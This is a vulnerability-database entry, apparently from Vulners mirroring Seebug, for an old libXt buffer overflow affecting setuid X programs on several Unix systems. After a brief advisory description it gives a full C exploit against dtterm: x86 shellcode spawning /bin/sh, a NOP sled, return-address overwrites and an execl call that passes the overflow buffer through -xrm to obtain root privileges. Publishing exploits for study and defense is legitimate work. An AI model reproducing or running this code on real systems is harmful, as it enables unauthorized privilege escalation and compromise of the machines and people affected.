Lucene search
K

BSD/OS <= 2.1,Caldera UnixWare 7/7.1 .0,FreeBSD FreeBSD 1.1.5 .1/2.0 ,HP HP-UX <= 10.34,IBM AIX <= 4.2,SGI IRIX <= 6.3,SunOS <= 4.1.4 libXt library Vulnerability (2)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

libXt library buffer overflow Vulnerability in various Unix/Linux system

Code

                                                source: http://www.securityfocus.com/bid/237/info
 
The libXt library is part of the X Windows system. There are several buffer overflow conditions that may allow an unauthorized user to gain root privileges through setuid and setgid programs that are linked to libXt. These problems were openly discussed on the Bugtraq mailing list in 1996, this discussion led the OpenGroup (maintainers of the X-Windowing System) to release a new version of X Windows which was more thoroughly audited and which hopefully addressed a series of buffer overflows. 

/*
 * dtterm buffer overflow by jGgM
 * http://www.netemperor.com/en/
 * EMail: [email protected]
 * 
*/
#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;

char shell[] =
  &#34;\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4&#34;
  &#34;\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf&#34;
  &#34;\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff&#34;
  &#34;\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53&#34;
  &#34;\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f&#34;
  &#34;\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff&#34;;

#define NOP	0x90
#define LEN		102

#define BUFFER_SIZE	1052
#define RET_LENGTH	10
#define ADJUST		4

long get_sp(void) {
   __asm__(&#34;movl %esp, %eax&#34;);
}

int
main(int argc, char *argv[])
{
   char buffer[BUFFER_SIZE+(RET_LENGTH*4)+1];
   long offset, ret;
   int  x, y;

   if(argc &#62; 2) {
      fprintf(stderr, &#34;Usage: %s [offset]\n&#34;, argv[0]);
      exit(1);
   } // end of if..

   if(argc == 2) offset = atol(argv[1]);
   else offset = 0;

   ret = get_sp() + 900 + offset;

   for(x=0; x&#60;BUFFER_SIZE; x++) buffer[x] = NOP;

   x = BUFFER_SIZE - strlen(shell) - ADJUST;

   for(y=0; y&#60;strlen(shell); y++)
      buffer[x++] = shell[y];

   for(y=0; y&#60;RET_LENGTH; y++, x += 4)
      *((int *)&buffer[x]) = ret;

   buffer[x] = 0x00;

   printf(&#34;ret = 0x%x,\n&#34;, ret);
   printf(&#34;offset = %d\n&#34;, offset);
   printf(&#34;buffer size = %d\n&#34;, strlen(buffer));
   execl(&#34;/usr/dt/bin/dtterm&#34;, &#34;dtterm&#34;, &#34;-xrm&#34;, buffer, NULL);
   printf(&#34;exec failed\n&#34;);
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation